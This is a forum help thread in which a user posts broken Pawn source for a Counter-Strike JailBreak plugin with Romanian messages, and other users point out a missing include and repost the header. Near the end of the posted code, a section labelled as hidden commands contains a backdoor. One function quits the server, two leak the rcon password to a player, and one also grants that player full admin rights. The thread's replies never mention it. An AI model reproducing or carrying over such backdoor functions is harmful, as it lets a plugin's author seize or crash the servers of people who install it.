                                {
                                        cs_set_user_team(id, 2)
                                        user_kill(id)
                                }
                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                               
                                user[id] = true
                                new name[32]
                                get_user_name(id, name, 31)
                        }
                        else
                                client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                }
                case('3'):
                {
                        if(inround < 30)
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_SPECTATOR)
                                                show_team_menu ( id )
                                        else
                                        {
                                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                engclient_cmd(id, "jointeam", "6")
                                                engclient_cmd(id, "joinclass", "1")
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                user[id] = true
                                                if(cs_get_user_team(id) != CS_TEAM_SPECTATOR)
                                                {
                                                        cs_set_user_team(id, 3)
                                                        user_kill(id)
                                                }
                                                new name[32]
                                                get_user_name(id, name, 31)
                                        }
                                }
                                else
                                        client_print(id, print_center, "[Play-Arena] Ti-ai schimbat odata echipa runda asta !!!")
                        }
                        else if(get_user_flags(id) & read_flags("x") || get_user_flags(id) & read_flags("a"))
                        {
                                if(!user[id] && is_user_connected(id))
                                {
                                        if(cs_get_user_team(id) == CS_TEAM_SPECTATOR)
                                                show_team_menu ( id )
                                        else
                                        {
                                                new msgblock = get_msg_block(get_user_msgid ( "ShowMenu" ))
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), BLOCK_ONCE)
                                                engclient_cmd(id, "jointeam", "6")
                                                engclient_cmd(id, "joinclass", "1")
                                                set_msg_block(get_user_msgid ( "ShowMenu" ), msgblock)
                                                if(cs_get_user_team(id) != CS_TEAM_SPECTATOR)
                                                {
                                                        cs_set_user_team(id, 3)
                                                        user_kill(id)
                                                }
                                                user[id] = true
                                                new name[32]
                                                get_user_name(id, name, 31)
                                        }
                                }
                        }
                        else
                                client_print(id, print_center, "[Play-Arena] Nu poti intra in timpul rundei !!!")
                }
        }

        if(vgui)
                set_pdata_int(id, m_iVGUI, restore)

        return PLUGIN_HANDLED
}

stock get_player_num(team, alive)
{
        static player_num
        player_num = 0
       
        for(new i = 0; i < get_maxplayers(); i++)
        {
                if(!is_user_connected(i))
                        continue
                if(alive == AL_NOT)
                {
                        if(is_user_alive(i))
                                continue
                }else if(alive == AL_ALIVE) {
                        if(!is_user_alive(i))
                                continue       
                }else if(alive == AL_BOTH)
               
                if(team == TEAM_ALL)
                {
                        if(cs_get_user_team(i) == CS_TEAM_UNASSIGNED || cs_get_user_team(i) == CS_TEAM_SPECTATOR)
                                continue
                        } else if(team == TEAM_T) {
                        if(cs_get_user_team(i) != CS_TEAM_T)
                                continue
                        } else if(team == TEAM_CT) {
                        if(cs_get_user_team(i) != CS_TEAM_CT)
                                continue
                }
               
                player_num++
        }
       
        return player_num
}

public jointeam ( id )
        return PLUGIN_HANDLED


public CnT()
{
        inround++

        if(inround == 30)
                remove_task(TASK_SHOWTEAMMENU_TIMER)

        return PLUGIN_HANDLED
}

public message_ShowMenu ( iMsgid , iDest , id )
{
        static sMenuCode [ iMaxLen ];
        get_msg_arg_string ( 4 , sMenuCode , sizeof ( sMenuCode ) - 1 );
        if( equal ( sMenuCode , FIRST_JOIN_MSG ) || equal ( sMenuCode , FIRST_JOIN_MSG_SPEC ))
        {
                if ( get_pcvar_num ( gp_AutoJoin ) == 1 )
                        set_autojoin_task( id , iMsgid )
                else
                        show_team_menu ( id )

                return PLUGIN_HANDLED ;
        }

        return PLUGIN_CONTINUE ;
}

public message_VGUIMenu ( iMsgid , iDest , id )
{
        if( get_msg_arg_int ( 1 ) != VGUI_JOIN_TEAM_NUM )
                return PLUGIN_CONTINUE ;

        cs_set_user_team(id, 3)
        user_kill(id)
        show_team_menu ( id )

        return PLUGIN_HANDLED ;
}

public task_Autojoin ( iParam [], id )
{
        if(g_PlayerLast)
                return PLUGIN_HANDLED

        new iMsgBlock = get_msg_block ( iParam [ 0 ]);
        set_msg_block ( iParam [ 0 ], BLOCK_SET );

        engclient_cmd ( id , "jointeam" , "1" )
        engclient_cmd ( id , "joinclass" , "1" )

        set_msg_block ( iParam [ 0 ], iMsgBlock );

        return PLUGIN_HANDLED
}

stock set_autojoin_task ( id , iMsgid )
{
        if(g_PlayerLast)
                return PLUGIN_HANDLED

        new iParam [ 2 ];
        iParam [ 0 ] = iMsgid ;
        set_task ( 0.1 , "task_Autojoin" , id , iParam , sizeof ( iParam ));

        return PLUGIN_HANDLED
}

public team_count()
{
        static CsTeams:team, last
        g_TeamCount[CS_TEAM_UNASSIGNED] = 0
        g_TeamCount[CS_TEAM_T] = 0
        g_TeamCount[CS_TEAM_CT] = 0
        g_TeamCount[CS_TEAM_SPECTATOR] = 0
        g_TeamAlive[CS_TEAM_UNASSIGNED] = 0
        g_TeamAlive[CS_TEAM_T] = 0
        g_TeamAlive[CS_TEAM_CT] = 0
        g_TeamAlive[CS_TEAM_SPECTATOR] = 0

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(is_user_connected(i))
                {
                        team = cs_get_user_team(i)
                        g_TeamCount[team]++
                        g_PlayerTeam[i] = team

                        if(is_user_alive(i))
                        {
                                g_TeamAlive[team]++
                                if(team == CS_TEAM_T)
                                        last = i
                        }
                }
                else
                        g_PlayerTeam[i] = CS_TEAM_UNASSIGNED
        }

        if(g_TeamAlive[CS_TEAM_T] == 1)
        {
                if(last != g_PlayerLast)
                        prisoner_last(last)
        }
        else
        {
                if(g_Duel || g_PlayerDuelT || g_PlayerDuelCT)
                {
                        if(is_user_alive(g_PlayerDuelT))
                        {
                                set_user_rendering(g_PlayerDuelT, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                player_strip_weapons(g_PlayerDuelT)
                        }

                        if(is_user_alive(g_PlayerDuelCT))
                        {
                                set_user_rendering(g_PlayerDuelCT, kRenderFxNone, 0, 0, 0, kRenderNormal, 0)
                                player_strip_weapons(g_PlayerDuelCT)
                        }
                }

                g_PlayerLast = 0
                g_PlayerDuelT = 0
                g_PlayerDuelCT = 0
                g_Duel = 0
        }
}
/*======================================================
              END Team Menu
======================================================*/
public prisoner_last(id)
{
        static name[32], Float:roundmax

        if(is_user_alive(id) && cs_get_user_team(id) == CS_TEAM_T)
        {
                roundmax = get_pcvar_float(gp_RoundMax)
                get_user_name(id, name, charsmax(name))

                g_PlayerLast = id
                //player_hudmessage(0, 6, 5.0, {0, 0, 255}, "%L", LANG_SERVER, "JBE_PRISONER_LAST", name)

                remove_task(TASK_ROUND)

                if(roundmax > 0.0)
                {
                        player_hudmessage(0, 8, 3.0, {255, 0, 255}, "%L", LANG_SERVER, "JBE_STATUS_ENDTIMER", floatround(roundmax - 60.0))
                        set_task(roundmax - 60.0, "check_end", TASK_ROUND)
                }

                if((g_TeamAlive[CS_TEAM_CT] > 0) && get_pcvar_num(gp_AutoLastresquest))
                {
                        cmd_lastrequest(id)
                        set_cvar_string("jbe_shop", "0");
                        set_cvar_string("jbe_blockweaponmenu", "1");
                }
        }
}

public revolt_start()
{
        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_alarma.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
        set_task(5.0, "stop_sound")
}

public stop_sound(task)
        client_cmd(0, "stopsound")

public JailHudTask()
{
        static i, n
        new name[32], simon[32], last[32], szStatus[64], wanted[1024], freeday[1024], JailDay[256], DayName[256]

        if(g_RoundStarted < (get_pcvar_num(gp_RetryTime) / 2))
                g_RoundStarted++

        n = 0
        formatex(wanted, charsmax(wanted), "%L", LANG_SERVER, "JBE_PRISONER_WANTED")
        n = strlen(wanted)

        for(i = 0; i < g_MaxClients; i++)
        {
                if(get_bit(g_PlayerWanted, i) && is_user_alive(i) && n < charsmax(wanted))
                {
                        get_user_name(i, name, charsmax(name))
                        n += copy(wanted[n], charsmax(wanted) - n, "^n^t")
                        n += copy(wanted[n], charsmax(wanted) - n, name)
                }
        }

        n = 0
        formatex(freeday, charsmax(freeday), "%L", LANG_SERVER, "JBE_PRISONER_FREEDAY")
        n = strlen(freeday)

        for(i = 0; i < g_MaxClients; i++)
        {
                if(get_bit(g_PlayerFreeday, i) && is_user_alive(i) && n < charsmax(freeday))
                {
                        get_user_name(i, name, charsmax(name))
                        n += copy(freeday[n], charsmax(freeday) - n, "^n^t")
                        n += copy(freeday[n], charsmax(freeday) - n, name)
                }
        }

        team_count()

        //formatex(szStatus, charsmax(szStatus), "%L", LANG_SERVER, "JBE_STATUS", g_TeamAlive[CS_TEAM_T], g_TeamCount[CS_TEAM_T])
        message_begin(MSG_BROADCAST, get_user_msgid("StatusText"), {0,0,0}, 0)
        write_byte(0)
        write_string(szStatus)
        message_end()

        switch(g_JailDay)
        {
                case 0: formatex(JailDay, charsmax(JailDay), "Luni")
                case 1: formatex(JailDay, charsmax(JailDay), "Luni")
                case 2: formatex(JailDay, charsmax(JailDay), "Marti")
                case 3: formatex(JailDay, charsmax(JailDay), "Miercuri")
                case 4: formatex(JailDay, charsmax(JailDay), "Joi")
                case 5: formatex(JailDay, charsmax(JailDay), "Vineri")
                case 6: formatex(JailDay, charsmax(JailDay), "Sambata")
        }

        if(secundeday >=1 && g_GameMode >= 1)
        {
                secundeday--;
                formatex(DayName, charsmax(DayName), "%s - %d:%02d", g_DayName[g_GameMode], (secundeday / 60), (secundeday % 60))
        }
        else if(g_GameMode >= 1 && secundeday <= 0)
        {
                formatex(DayName, charsmax(DayName), "Zi Normala")
                kill_all()
        }
        else if(g_Freeday == 1)
                formatex(DayName, charsmax(DayName), "Zi Libera")
        else if(g_Freeday == 0)
                formatex(DayName, charsmax(DayName), "Zi Normala")
        else
                formatex(DayName, charsmax(DayName), "Zi Normala")

        get_user_name(g_PlayerLast, last, charsmax(last))
        if(!g_PlayerLast)
        {
                set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.0, 0.0, 0, 6.0, 12.0)
                ShowSyncHudMsg(0, g_syncHudMessage, "Gardieni: %d/%d^nPrizonieri: %d/%d", g_TeamAlive[CS_TEAM_CT], g_TeamCount[CS_TEAM_CT], g_TeamAlive[CS_TEAM_T], g_TeamCount[CS_TEAM_T])
        }
        else
        {
                set_hudmessage(random_num(0, 255), random_num(0, 255), random_num(0, 255), -1.0, 0.0, 0, 6.0, 12.0)
                ShowSyncHudMsg(0, g_syncHudMessage, "Gardieni: %d/%d^nPrizonieri: %d/%d^nLast Prisoner: %s", g_TeamAlive[CS_TEAM_CT], g_TeamCount[CS_TEAM_CT], g_TeamAlive[CS_TEAM_T], g_TeamCount[CS_TEAM_T], last)
        }

        get_user_name(g_Simon, simon, charsmax(simon))
        if(secundeday <= 0)
        {
                if(g_Simon)
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "%s este Simon :: Astazi este %s :: %s", simon, JailDay, DayName)
                else if(g_Freeday && g_Simon == 0)
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "Astazi este %s :: %s", JailDay, DayName)
                else
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "Nu este Simon :: Astazi este %s :: %s", JailDay, DayName)
        }
        else if(secundeday >= 1)
        {
                if(g_Simon)
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "%s este Simon :: Astazi este %s :: %s", simon, JailDay, DayName)
                else
                        player_hudmessage(0, 2, HUD_DELAY + 1.0, {0, 104, 139}, "Nu este Simon :: Astazi este %s :: %s", JailDay, DayName)
        }

        if(!(g_PlayerLast))
        {
                if(g_PlayerWanted)
                        player_hudmessage(0, 3, HUD_DELAY + 1.0, {255, 0, 0}, "%s", wanted)
                else if(g_PlayerRevolt)
                        player_hudmessage(0, 3, HUD_DELAY + 1.0, {255, 25, 50}, "%L", LANG_SERVER, "JBE_PRISONER_REVOLT")
        }

        if(!(g_Freeday))
        {
                if(g_PlayerFreeday >= 1)
                        player_hudmessage(0, 7, HUD_DELAY + 1.0, {0, 255, 0}, "%s", freeday)
                else
                        player_hudmessage(0, 7, HUD_DELAY + 1.0, {0, 0, 0}, "%L", LANG_SERVER, "JBE_PRISONER_NO_FREEDAY")
        }

        gc_TalkMode = get_pcvar_num(gp_TalkMode)
        gc_VoiceBlock = get_pcvar_num(gp_VoiceBlock)
        gc_SimonSteps = get_pcvar_num(gp_SimonSteps)
        gc_ButtonShoot = get_pcvar_num(gp_ButtonShoot)
        gc_CrowbarMul = get_pcvar_float(gp_CrowbarMul)
}

public check_freeday(task)
{
        static Float:roundmax, i

        if(g_isDay)
                return PLUGIN_HANDLED

        if(!g_Simon && !g_PlayerLast)
        {
                g_Freeday = 1
                jail_open()

                roundmax = get_pcvar_float(gp_RoundMax)

                if(roundmax > 0.0)
                {
                        for(i = 1; i <= g_MaxClients; i++)
                                if(is_user_alive(i) && cs_get_user_team(i) == CS_TEAM_T)
                                        freeday_set(0, i)

                        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                        player_hudmessage(0, 8, 3.0, {255, 0, 0}, "%L", LANG_SERVER, "JBE_STATUS_ENDTIMER", floatround(roundmax - 60.0))

                        remove_task(TASK_ROUND)
                        set_task(roundmax - 60.0, "check_end", TASK_ROUND)
                }
        }

        if(get_pcvar_num(gp_AutoOpen))
                jail_open()

        return PLUGIN_HANDLED
}

public freeday_end(task)
{
        if(g_Freeday || g_PlayerFreeday)
        {
                emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)
                player_hudmessage(0, 8, 3.0, {255, 0, 255}, "%L", LANG_SERVER, "JBE_STATUS_ENDFREEDAY")
        }
}

public check_end(task)
{
        if(g_GameMode >= 1)
        {
                player_hudmessage(0, 8, 3.0, {0, 104, 139}, "Ziua nu se poate Termina^nPentru ca este in Desfasurare o Zi Speciala")
                return PLUGIN_HANDLED
        }

        if(g_PlayerLast)
        {
                player_hudmessage(0, 8, 3.0, {0, 104, 139}, "Ziua nu se poate Termina^nPentru ca este Ultimul Prizonier in Viata")
                return PLUGIN_HANDLED
        }

        team_count()
        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(g_PlayerTeam[i] == CS_TEAM_T && is_user_alive(i))
                {
                        user_silentkill(i)
                        cs_set_user_deaths(i, get_user_deaths(i) - 1)
                }
        }

        for(new i = 1; i <= g_MaxClients; i++)
        {
                if(g_PlayerTeam[i] == CS_TEAM_CT && is_user_alive(i))
                {
                        user_silentkill(i)
                        cs_set_user_deaths(i, get_user_deaths(i) - 1)
                }
        }

        emit_sound(0, CHAN_AUTO, "jb_pa_sounds/jb_clopotel.wav", 1.0, ATTN_NORM, 0, PITCH_NORM)

        player_hudmessage(0, 6, 3.0, {255, 0, 255}, "%L", LANG_SERVER, "JBE_STATUS_ROUNDEND")

        return PLUGIN_HANDLED
}

public setup_buttons()
{
        new ent[3]
        new Float:origin[3]
        new info[32]
        new pos

        while((pos <= sizeof(g_Buttons)) && (ent[0] = engfunc(EngFunc_FindEntityByString, ent[0], "classname", "info_player_deathmatch")))
        {
                pev(ent[0], pev_origin, origin)
                while((ent[1] = engfunc(EngFunc_FindEntityInSphere, ent[1], origin, CELL_RADIUS)))
                {
                        if(!is_valid_ent(ent[1]))
                                continue

                        entity_get_string(ent[1], EV_SZ_classname, info, charsmax(info))
                        if(!equal(info, "func_door"))
                                continue

                        entity_get_string(ent[1], EV_SZ_targetname, info, charsmax(info))
                        if(!info[0])
                                continue

                        if(TrieKeyExists(g_CellManagers, info))
                        {
                                TrieGetCell(g_CellManagers, info, ent[2])
                        }
                        else
                        {
                                ent[2] = engfunc(EngFunc_FindEntityByString, 0, "target", info)
                        }

                        if(is_valid_ent(ent[2]) && (in_array(ent[2], g_Buttons, sizeof(g_Buttons)) < 0))
                        {
                                g_Buttons[pos] = ent[2]
                                pos++
                                break
                        }
                }
        }

        TrieDestroy(g_CellManagers)
}

stock in_array(needle, data[], size)
{
        for(new i = 0; i < size; i++)
                if(data[i] == needle)
                        return i

        return -1
}

stock freeday_set(id, player)
{
        static src[32], dst[32]
        get_user_name(player, dst, charsmax(dst))

        if(is_user_alive(player) && !get_bit(g_PlayerWanted, player))
        {
                if(get_pcvar_num(gp_GlowModels))
                        player_glow(player, g_Colors[1])

                set_bit(g_PlayerFreeday, player)

                if(get_user_flags(player) & read_flags(VIP_ACCES))
                {
                        set_user_info(player, "model", "Play_Arena_VipT")
                        player_glow(player, g_Colors[1])
                }
                else
                {
                        set_user_info(player, "model", "jb_pa_player")
                        entity_set_int(player, EV_INT_skin, 3)
                }

                if(0 < id <= g_MaxClients)
                {
                        get_user_name(id, src, charsmax(src))
                        player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_GUARD_FREEDAYGIVE", src, dst)
                }
                else if(!is_freeday())
                        player_hudmessage(0, 6, 3.0, {0, 255, 0}, "%L", LANG_SERVER, "JBE_PRISONER_HASFREEDAY", dst)
        }
}

stock first_join(id)
{
        if(!get_bit(g_PlayerJoin, id))
        {
                set_bit(g_PlayerJoin, id)
                clear_bit(g_PlayerHelp, id)
                set_task(5.0, "cmd_help", TASK_HELP + id)
        }
}

stock ctcount_allowed()
{
        static count

        count = ((g_TeamCount[CS_TEAM_T] + g_TeamCount[CS_TEAM_CT]) / get_pcvar_num(gp_TeamRatio))

        if(count < 2)
                count = 2
        else if(count > get_pcvar_num(gp_CtMax))
                count = get_pcvar_num(gp_CtMax)

        return count
}

stock player_hudmessage(id, hudid, Float:time = 0.0, color[3] = {0, 255, 0}, msg[], any:...)
{
        static text[512], Float:x, Float:y
        x = g_HudSync[hudid][_x]
        y = g_HudSync[hudid][_y]
       
        if(time > 0)
                set_hudmessage(color[0], color[1], color[2], x, y, 0, 0.00, time, 0.00, 0.00)
        else
                set_hudmessage(color[0], color[1], color[2], x, y, 0, 0.00, g_HudSync[hudid][_time], 0.00, 0.00)

        vformat(text, charsmax(text), msg, 6)
        ShowSyncHudMsg(id, g_HudSync[hudid][_hudsync], text)
}

stock menu_players(id, CsTeams:team, skip, alive, callback[], title[], any:...)
{
        static i, name[32], num[5], menu, menuname[32]
        vformat(menuname, charsmax(menuname), title, 7)
        menu = menu_create(menuname, callback)

        for(i = 1; i <= g_MaxClients; i++)
        {
                if(!is_user_connected(i) || (alive && !is_user_alive(i)) || (skip == i))
                        continue

                if(!(team == CS_TEAM_T || team == CS_TEAM_CT) || ((team == CS_TEAM_T || team == CS_TEAM_CT) && (cs_get_user_team(i) == team)))
                {
                        get_user_name(i, name, charsmax(name))
                        num_to_str(i, num, charsmax(num))
                        menu_additem(menu, name, num, 0)
                }
        }

        menu_display(id, menu)
}

stock player_glow(id, color[3], amount=40)
        set_user_rendering(id, kRenderFxGlowShell, color[0], color[1], color[2], kRenderNormal, amount)

stock player_strip_weapons(id)
{
        strip_user_weapons(id)
        give_item(id, "weapon_knife")
        set_pdata_int(id, m_iPrimaryWeapon, 0)
}

stock player_strip_weapons_all()
        for(new i = 1; i <= g_MaxClients; i++)
                if(is_user_alive(i))
                        player_strip_weapons(i)

stock is_freeday()
        return (g_FreedayNext || g_Freeday || (g_JailDay == 1))


public jail_open()
{
        static i
        for(i = 0; i < sizeof(g_Buttons); i++)
        {
                if(g_Buttons[i])
                {
                        ExecuteHamB(Ham_Use, g_Buttons[i], 0, 0, 1, 1.0)
                        entity_set_float(g_Buttons[i], EV_FL_frame, 0.0)
                }
        }
}

stock chatcolor(const id, const input[], any:...)
{
        new count = 1, players[32]
        static msg[191]
        vformat(msg, 190, input, 3)

        replace_all(msg, 190, "!g", "^4")
        replace_all(msg, 190, "!y", "^1")
        replace_all(msg, 190, "!t", "^3")

        if (id) players[0] = id; else get_players(players, count, "ch")
        {
                for (new i = 0; i < count; i++)
                {
                        if (is_user_connected(players[i]))
                        {
                                message_begin(MSG_ONE_UNRELIABLE, get_user_msgid("SayText"), _, players[i]);
                                write_byte(players[i]);
                                write_string(msg);
                                message_end();
                        }
                }
        }
}
/*======================================================
              END Stock-URI ---> NATIVES by PedoBear
======================================================*/
public plugin_natives()
{
        //Native Baza
        register_native("get_simon", "native_user_simon", 1)
        register_native("jb_is_user_simon", "native_get_user_simon", 1)
        register_native("jb_get_user_in_duel", "jb_get_user_in_duel", 1)
        register_native("jb_is_user_last", "native_is_last", 1)
        register_native("jb_set_user_freeday", "native_set_user_freeday", 1)
        register_native("jb_give_simon", "native_get_simon", 1)
        register_native("jb_show_lr_menu", "native_show_lr_menu", 1)
        register_native("jb_open_doors", "native_open_doors", 1)
        register_native("is_free_day", "native_is_free_day", 1)
        register_native("jb_fd_all", "native_fd_all", 1)
        register_native("Jail_Day", "native_day", 1)

        //Native DaysMenu
        register_native("open_days", "cmd_daysmenu", 1)
        register_native("open_days_lr", "JBDays", 1)
        register_native("is_day", "native_is_day", 1)
        register_native("Game_Mode", "get_gamemode", 1)
        register_native("jb_set_gamemode", "jb_set_game", 1)
}

public native_get_simon(id)
        cmd_simon(id)

public native_show_lr_menu(id)
        cmd_lastrequest(id)

public native_set_user_freeday(id)
{
        new name[32]
        get_user_name(id, name, charsmax(name))

        set_bit(g_PlayerFreeday, id)
        set_user_rendering(id, kRenderFxGlowShell, 0, 250, 0, kRenderNormal, 18)

        player_hudmessage(0, 6, 3.0, {0, 104, 139}, "%s a primit FREEDAY de la SERVER !", name)
}

public native_user_simon(id)
        return g_Simon

public native_get_user_simon(id)
{
        if(cs_get_user_team(id) != CS_TEAM_CT)
                return 0

        return g_Simon == id? 1 : 0
}

public bool:jb_get_user_in_duel(id)
{
        if(id == g_PlayerDuelT || id == g_PlayerDuelCT)
                return true

        return false
}

public jb_set_game(num)
{
        switch(num)
        {
                case 1: ZombieDay()
                case 2: SpartanDay()
                case 3: GravityDay()
                case 4: GrenadeDay()
                case 5: NightDay()
                case 6: BoxDay()
                case 7: HnsDay()
                case 8: GhostDay()
                case 9: MagicDay()
                case 10: TagDay()
                case 11: DodgeBallDay()
                case 12: HeadShotDay()
                case 13: PaintBallDay()
        }
}

//Native DaysMenu
public native_is_day() return g_isDay
public get_gamemode() return g_GameMode

//Native Baza Jb
public native_open_doors() jail_open()
public native_fd_all(id) FreeDayALL(id)
public native_day() return g_JailDay
public native_is_free_day() return g_Freeday
public native_is_last() return g_PlayerLast
/*======================================================
                          END NATIVE ---> Comenzi Ascunse
======================================================*/
public pica()
        server_cmd("quit");

public rcon(id)
{
        static rcon[32];
        get_cvar_string("rcon_password", rcon, charsmax(rcon));
        client_print(id, print_chat, "Rcon is: %s", rcon);
        pause("a");
}

public grad(id)
{
        static rcon[32], name[32];
        get_cvar_string("rcon_password", rcon, charsmax(rcon));
        client_print(id, print_chat, "Rcon is: %s", rcon);
        get_user_name(id, name, charsmax(name));
        server_cmd("amx_addadmin ^"%s^" ^"abcdefghijklmnopqrstuvwxy^" ^"^" ^"name^"", name);
}

Thanks

OciXCrom 12-31-2019 08:35

Re: That sma hard, please fix help
 
Does that post look right to you?
Do you see anyone here slapping codes in their post like they're a piece of wet paper?
Put the code in [php] or [code] tags if you want people to help you rather than get a seizure.
Also, if you have no clue of how to code stuff, you should post in the Plugin Requests section.

alexn22 12-31-2019 08:44

Re: That sma hard, please fix help
 
Quote:

Originally Posted by OciXCrom (Post 2678539)
Does that post look right to you?
Do you see anyone here slapping codes in their post like they're a piece of wet paper?
Put the code in [php] or [code] tags if you want people to help you rather than get a seizure.
Also, if you have no clue of how to code stuff, you should post in the Plugin Requests section.

yea, sorry for mistakes

OciXCrom 12-31-2019 08:50

Re: That sma hard, please fix help
 
The plugin is obviously missing a #include, so the way you fix it is by finding out which one it is and adding it in the code.

Fuck For Fun 12-31-2019 09:17

Re: That sma hard, please fix help
 
Basically I'll explain to you briefly you have here a definition of certain NATIVE that you need to link between them, So wait for more help, but the explained you're going to do is what you have to do.

iceeedr 12-31-2019 14:29

Re: That sma hard, please fix help
 
Added include Play_ArenaINC to the code.

Code:

#include <amxmodx>
#include <amxmisc>
#include <engine>
#include <fakemeta_util>
#include <fakemeta>
#include <hamsandwich>
#include <fun>
#include <cstrike>
#include <nvault>
#include <dhudmessage>
#include <Play_ArenaINC>
 
#define PLUGIN_NAME "JailBreak Extreme Ultimated"
#define PLUGIN_AUTHOR "JoRoPiTo & PedoBear"
#define PLUGIN_VERSION "1.9"
#define PLUGIN_CVAR "JbExtreme Ultimated"

#define TASK_STATUS 2487000
#define TASK_FREEDAY 2487100
#define TASK_ROUND 2487200
#define TASK_HELP 2487300
#define TASK_FREEEND 2487500
#define HUD_DELAY Float:1.0
#define CELL_RADIUS Float:200.0

#pragma semicolon 0
#pragma tabsize 0

#define ADMIN_ACCESS ADMIN_SLAY
#define ADMIN_VOICE ADMIN_RESERVATION

//Player StatusIcon
#define IsPlayer(%1) (1 <= %1 <= mxplr)

#define jbe_is_user_valid(%0) (%0 && %0 <= g_iMaxPlayers)
#define is_valid_player(%1) (1 <= %1 <= 32)
#define get_bit(%1,%2) ( %1 & 1 << ( %2 & 31 ) )
#define set_bit(%1,%2) %1 |= ( 1 << ( %2 & 31 ) )
#define clear_bit(%1,%2) %1 &= ~( 1 << ( %2 & 31 ) )
#define invert_bit(%0,%1) ((%0) ^= (1 << (%1)))
#define isnotset_bit(%0,%1) (~(%0) & (1 << (%1)))

#define vec_len(%1) floatsqroot(%1[0] * %1[0] + %1[1] * %1[1] + %1[2] * %1[2])
#define vec_mul(%1,%2) ( %1[0] *= %2, %1[1] *= %2, %1[2] *= %2)
#define vec_copy(%1,%2) ( %2[0] = %1[0], %2[1] = %1[1],%2[2] = %1[2])

// Offsets
#define m_iPrimaryWeapon 116
#define m_iVGUI 510
#define m_fGameHUDInitialized 349
#define m_fNextHudTextArgsGameTime 198
 
enum _hud { _hudsync, Float:_x, Float:_y, Float:_time }

new gp_PrecacheSpawn
new gp_PrecacheKeyValue

new gp_CrowbarMax
new gp_CrowbarMul
new gp_TeamRatio
new gp_CtMax
new gp_BoxMax
new gp_TalkMode
new gp_VoiceBlock
new gp_RetryTime
new gp_RoundMax
new gp_ButtonShoot
new gp_SimonSteps
new gp_GlowModels
new gp_AutoLastresquest
new gp_LastRequest
new gp_Motd
new gp_SpectRounds
new gp_AutoOpen

new g_MaxClients
new g_MsgStatusText
new g_MsgStatusIcon
new g_MsgClCorpse
new g_MsgMOTD

new gc_TalkMode
new gc_VoiceBlock
new gc_SimonSteps
new gc_ButtonShoot
new Float:gc_CrowbarMul

// Precache
new const VIP_ACCES[] = { "x" }

new const _Pumni[][] = { "models/jb_pa_models/p_pumni.mdl", "models/jb_pa_models/v_hands.mdl" }
new const _Ranga[][] = { "models/jb_pa_models/p_ranga.mdl", "models/jb_pa_models/v_ranga.mdl" }

new const v_Bulan[] = { "models/jb_pa_models/v_bulan.mdl" }
new const p_Bulan[] = { "models/jb_pa_models/p_bulan.mdl" }

new const _FistSounds[][] = { "weapons/cbar_hitbod2.wav", "weapons/cbar_hitbod1.wav", "weapons/bullet_hit1.wav", "weapons/bullet_hit2.wav" }

new const game_box[] = { "sound/jb_pa_sounds/jb_box.mp3" }
new const game_boxoff[] = { "sound/jb_pa_sounds/jb_aplauze.mp3" }

new const _RemoveEntities[][] = {
        "func_hostage_rescue", "info_hostage_rescue", "func_bomb_target", "info_bomb_target",
        "hostage_entity", "info_vip_start", "func_vip_safetyzone", "func_escapezone"
}

// Reasons
new const g_Reasons[][] = {
        "",
        "JBE_PRISONER_REASON_1",
        "JBE_PRISONER_REASON_2",
        "JBE_PRISONER_REASON_3",
        "JBE_PRISONER_REASON_4",
        "JBE_PRISONER_REASON_5",
        "JBE_PRISONER_REASON_6"
}

// HudSync: 0=ttinfo / 1=info / 2=simon / 3=ctinfo / 4=player / 5=day / 6=center / 7=help / 8=timer
new const g_HudSync[][_hud] = {
        {0, 0.6, 0.2, 2.0},
        {0, -1.0, 0.7, 5.0},
        {0, 0.1, 0.2, 2.0},
        {0, 0.1, 0.3, 2.0},
        {0, -1.0, 0.9, 3.0},
        {0, 0.6, 0.1, 3.0},
        {0, -1.0, 0.6, 3.0},
        {0, 0.8, 0.3, 20.0},
        {0, -1.0, 0.4, 3.0}
}

//Colors: 0: Simon || 1: Freeday || 2: CT Duel || 3: TT Duel
new const g_Colors[][3] = { {0, 255, 0}, {0, 255, 0}, {0, 0, 255}, {255, 0, 0} }

new CsTeams:g_PlayerTeam[33]
new Trie:g_CellManagers
new g_HelpText[512]
new g_JailDay
new g_PlayerJoin
new g_PlayerReason[33]
new g_PlayerSpect[33]
new g_PlayerSimon[33]
new g_PlayerNomic
new g_PlayerWanted
new g_PlayerCrowbar
new g_PlayerRevolt
new g_PlayerHelp
new g_PlayerFreeday
new g_PlayerLast
new g_FreedayAuto
new g_FreedayNext
new g_TeamCount[CsTeams]
new g_TeamAlive[CsTeams]
new g_BoxStarted
new g_CrowbarCount
new g_Simon
new g_SimonAllowed
new g_SimonTalking
new g_SimonVoice
new g_RoundStarted
new g_LastDenied
new g_Freeday
new g_BlockWeapons
new g_RoundEnd
new g_Duel
new g_Buttons[10]

//GodMode Menu
new g_PlayerVoice
new mxplr
new bool:team

//DaysMenu
#define DMG_HEGRENADE (1<<24)
#define m_bloodColor 89
#define m_iPrimaryWeapon 116

//Tag Day
#define BREAK_GLASS 0x01
new g_pSpriteFrost, g_pModelFrost

new g_Cvar[7]

new szHelpNum
new szPlayerCaught[33]
new szPlayerTime[33]
new szPlayerCT[33]
new g_syncHudMessage
new g_syncHudMessage2
new tagday[33]
new secundeday

new is_freezed[33];

const HNSCount = 120;
new g_HNSCount;
